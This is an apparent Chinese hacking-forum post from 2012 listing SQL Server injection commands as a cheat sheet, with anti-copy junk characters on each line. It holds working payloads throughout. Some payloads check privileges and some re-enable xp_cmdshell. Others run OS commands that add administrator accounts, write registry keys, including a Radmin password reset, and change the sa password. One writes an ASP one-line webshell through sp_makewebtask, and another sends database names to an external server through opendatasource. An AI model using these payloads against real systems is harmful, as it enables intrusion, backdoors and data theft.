中国网络渗透测试联盟

标题: 常用的一些注入命令 [打印本页]

作者: admin    时间: 2012-9-15 14:40
标题: 常用的一些注入命令
//看看是什么权限的
* _; K$ }0 ]" H# Rand 1=(Select IS_MEMBER('db_owner'))
3 R! I/ t7 W6 ?+ }) t$ H$ S- SAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--  J: s6 F" C' U2 y, c7 c

% m2 @! s6 `$ l. k1 T1 y7 f5 @9 `# {- L//检测是否有读取某数据库的权限0 m+ m9 M3 p" [, h- J" j4 z
and 1= (Select HAS_DBACCESS('master'))
( m: o8 B1 Q6 }& h, o" ]And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --* m8 g- g2 Y0 m1 ^! @2 Y
2 i1 J$ E- `$ _, b
- f, H) l% D7 u& x* H  R4 Y- g) c
数字类型' I  l/ R% ~1 L$ a" i$ I" |( W6 F% L
and char(124)%2Buser%2Bchar(124)=0
6 B+ \% C4 m  _: y: ?# U3 p) I. i& I9 a: p: f* B0 N: ?& t, o1 E
字符类型
9 N5 N8 c9 n8 W- H2 h: P+ T' and char(124)%2Buser%2Bchar(124)=0 and ''='
; [4 y; }% \" x' P; A; w
' W8 \5 e8 q% K$ ]" h0 g% }搜索类型# j$ I, Q; r/ s. w. t
' and char(124)%2Buser%2Bchar(124)=0 and '%'='" X( q% S: H9 t5 B

& ]$ a# B" _: l* h, D爆用户名* {2 S# H: S; I5 C& ~* A
and user>03 P$ B! |3 v( n3 q& X
' and user>0 and ''='' S3 ^& }8 a/ |0 `% M. K6 W( P

3 O+ x) G& p9 g6 X' I( z检测是否为SA权限" W- s! `) W9 m, p# A0 Y8 B
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--$ y$ [1 i- ], U0 Q/ c
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
3 p( `( U' l- p" T) d0 ^9 `
/ n* F8 c( @0 A% g1 l检测是不是MSSQL数据库
6 S2 u1 A" |0 x8 H& r( pand exists (select * from sysobjects);--2 U% j; f2 @7 F% V0 P- x
3 }7 f2 c: `8 Y0 S
检测是否支持多行
9 o8 E+ L/ b/ a" z8 H" g; p;declare @d int;--4 V1 ^+ u% z' p: v5 Y# F$ c2 }. `8 U

" \( q8 }8 q9 y- x恢复 xp_cmdshell$ \: p9 f2 L7 y1 C0 v) w+ o  j
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--% C9 m* G% X" P8 K" \5 F  J
% U  f5 K* h, q

4 }" d. b) F+ w! g8 x, `5 t' Tselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')( D% A: q# H& I
4 p; z0 M5 G) s4 C8 F. z
//-----------------------) W* ?! u+ \0 e$ ~
//       执行命令
9 l0 J9 c  G4 H5 v//-----------------------  {6 C, r) y+ s" O5 Q) E$ f
首先开启沙盘模式:0 b- V- y6 Z* x% s; f% T6 E
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) ]; @+ n, u/ i7 o: w/ |
7 h7 Z' y, z& X. [) x& g! D0 p. |
然后利用jet.oledb执行系统命令
9 a2 l: b9 S, `! oselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
) e, v: V; x0 Y; M/ H' q* \0 S  H: c9 l: v- w0 V/ {0 A) x" l# q% k+ y
执行命令) a# u5 j1 Q7 R" A+ Y6 @: T
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--( @5 U+ h- F. J  U# a1 d. \

& r+ T" |& V; s1 R; L: H' ?& YEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
$ O! U1 E* C4 M$ l7 X- W7 t9 n" E; x2 d% v  d; q
判断xp_cmdshell扩展存储过程是否存在:" `6 Y! O- ^" B5 N9 _
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')( z- P+ i- B% R5 k- X) ^; ~" X
% ^4 ?% Q9 d: ~
写注册表" l$ G6 j) E; q# b  H
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1+ y4 ]( P; Q* u4 x( k* H- A

7 c/ Y$ |, z' xREG_SZ
' a% u! i$ I/ z* ~% X* ]) Z+ W# T/ N
9 O6 p  R! H8 D, V! m读注册表8 @, R3 x& B. Q* s$ B: P  R7 M
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
( C3 [0 W8 w- S. ]# h% [4 }/ {
6 W; C* a5 T: B# P读取目录内容
7 }' _9 g! s" w3 e6 bexec master..xp_dirtree 'c:\winnt\system32\',1,1
9 Z7 `) C* s1 H& {
1 A. I  d; A( m1 U
! t! n' H4 g) B" s8 W( W' ^3 h0 ]数据库备份
3 N$ y; c- X2 X( F+ g. N' p+ rbackup database pubs to disk = 'c:\123.bak'
; W/ ]+ m) `+ S" D; Y( K9 A4 }( C3 I6 F* n
//爆出长度/ Y# k& y+ H5 a  M# K5 c8 D' b+ O
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--( h. j$ Y0 z: Q# M; r" E" N  D0 y
! s! `' C( F; T: l8 W8 w; a  W
" e4 Q$ N1 v. K1 N' A# w* l

% k0 r4 ]3 B% {, Q1 |3 v8 t4 ]# K% y更改sa口令方法:用sql综合利用工具连接后,执行命令:5 K4 V+ C, D* q9 q  ~; q3 a+ z
exec sp_password NULL,'新密码','sa'
/ J+ j) K8 P6 n7 F) e$ u' S5 e
% W7 i' n. A: u1 v2 ?添加和删除一个SA权限的用户test:# \# o$ W9 b( ?# E0 |
exec master.dbo.sp_addlogin test,9530772) l! L5 b. ?) ~2 w5 ]5 T' p
exec master.dbo.sp_addsrvrolemember test,sysadmin
% }2 [/ P3 p! a. ?7 l1 C, R
- B- p3 W8 q$ v3 {删除扩展存储过过程xp_cmdshell的语句:  }5 F. ?0 O$ G2 u5 w
exec sp_dropextendedproc 'xp_cmdshell'/ z: `1 k" b; S9 T
/ H. d* \- ~! @% o& x
添加扩展存储过过程
, }8 L& R! B, h, y* D' qEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'; H2 k+ B& I$ U0 }9 k
GRANT exec On xp_proxiedadata TO public$ w, ^$ G/ l2 n8 j4 x5 `, W4 l8 D
6 m3 ~. c9 p/ |9 R
5 Y3 q- u8 M3 H1 o7 ^2 _
停掉或激活某个服务。7 y" }$ d" @% w2 K% {
) V  q  h1 d+ E( O- P
exec master..xp_servicecontrol 'stop','schedule'6 g) J+ p- [4 V) X
exec master..xp_servicecontrol 'start','schedule'
4 J: x5 J6 E% [
7 r' q. t0 b  L; b* ]4 Hdbo.xp_subdirs
0 p+ x4 Y; ]4 y2 @" m5 i5 M/ g+ l8 }3 v: h. T+ q. h( Y1 ]
只列某个目录下的子目录。
' B. k* N/ B; \; Pxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
2 V: ]5 R) a1 x! I
8 g- _6 f! b( O+ @9 Zdbo.xp_makecab% }8 a6 h1 q5 s  y- \& a# S5 J, n
+ T6 y* }: e. L) x0 T$ ^- _5 C
将目标多个档案压缩到某个目标档案之内。
- D" g2 n- C( e, Q: T( }5 M所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。8 i8 M- q/ x, y! q
/ a8 h- K% O$ r+ c. Y) z
dbo.xp_makecab
' D" ], ]1 K. _% ~5 J! {5 U, d'c:\test.cab','mszip',1,4 L8 z' k8 G9 v1 I, F1 h
'C:\Inetpub\wwwroot\SQLInject\login.asp'," k& S3 i! A3 \" Y
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'& k4 e" {4 [* X. M0 x; S. F

$ P( ]3 F2 x9 F& l) fxp_terminate_process
5 e. l' q! j& s( v9 F
: j- T9 C4 e+ [停掉某个执行中的程序,但赋予的参数是 Process ID。
- B' l9 O, f& B' n+ c0 V# u利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID) b/ w1 V4 s3 R: @" p0 t% W
2 K& |7 T) h& z& V8 d) [3 b& K
xp_terminate_process 2484
' I1 j, a, J' z# r, t# }
7 S  B8 Z# b% e1 oxp_unpackcab
: W" q! r- N5 G. n1 C/ a5 N; F$ z! k& \6 z6 l' {
解开压缩档。8 O" I. x2 c6 c
! ?" e# t" L  O- D# Y! |" \/ k( U
xp_unpackcab 'c:\test.cab','c:\temp',1
4 a0 `, X! I: v' u2 `
) w9 v6 n! k$ \7 _( c# {8 K, G4 `" m6 n1 y2 d
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
/ `/ S9 m; a4 p
- G1 o0 ?; t" ~create database lcx;+ i6 {9 r% }0 v5 M5 E) W$ S
Create TABLE ku(name nvarchar(256) null);1 i$ Q; P4 `, `& s
Create TABLE biao(id int NULL,name nvarchar(256) null);* r4 L* O1 {/ A
+ D0 J1 N0 g' }4 V9 J
//得到数据库名. |1 C3 f. i' V$ ]4 P$ k# I
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases3 E: L; t* q9 ~5 ]- i; i
  t0 G! ]: D: P5 }

  x, S, c  Y4 G" Z6 F4 }6 ~+ x//在Master中创建表,看看权限怎样( E6 k$ `; u/ Q; i2 e0 K
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--# G( c9 ^/ u' x1 D2 t9 N4 G) C3 B

; o9 J: E) d+ V4 y  ~' C. M用 sp_makewebtask直接在web目录里写入一句话马:9 C, b; I) g$ c2 R) }  m
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
% U% ]) j1 |. P# g8 \! {; v$ Z$ z7 l
//更新表内容7 S8 K+ g' a7 A! j
Update films SET kind = 'Dramatic' Where id = 123
: k% Q& t% f# I8 F3 A7 @# B% n3 o# C8 ?# `, `  K  l
//删除内容
, R7 y/ b, R: Adelete from table_name where Stockid = 3




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2